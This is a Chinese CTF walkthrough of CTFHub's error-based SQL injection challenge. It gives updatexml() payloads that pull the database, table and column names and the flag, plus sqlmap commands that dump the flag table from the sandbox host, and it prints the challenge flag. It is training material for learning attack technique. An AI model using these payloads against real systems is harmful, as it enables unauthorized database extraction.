CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
存在的五月雨8 小时前
Mysql 事务和锁的一些概念和理解
数据库·mysql
yuankunliu8 小时前
【redis】4、Redis的过期策略和淘汰策略
数据库·redis·缓存
weixin_440730509 小时前
04python编程笔记-01基础知识+02三种结构
java·笔记·python
半路_出家ren9 小时前
23.Python处理SSH和Redis
运维·网络·redis·python·网络安全·ssh·paramiko
WYH2879 小时前
TTSY-学习笔记1
笔记·学习
被遗忘的旋律.9 小时前
Linux驱动开发笔记(二十四)——(下)IIO + MPU6050驱动
linux·驱动开发·笔记
鄭郑9 小时前
【Playwright 学习笔记 03】CSS选择器 定位方法
css·笔记·学习·playwright
無森~9 小时前
Hive 函数
hive·hadoop·sql
JeffDingAI9 小时前
【Datawhale学习笔记】参数高效微调
android·笔记·学习
zhangrelay9 小时前
笔记本电脑待机功耗最低能降到多少瓦特?占用资源极少的系统有哪些呢?
笔记·学习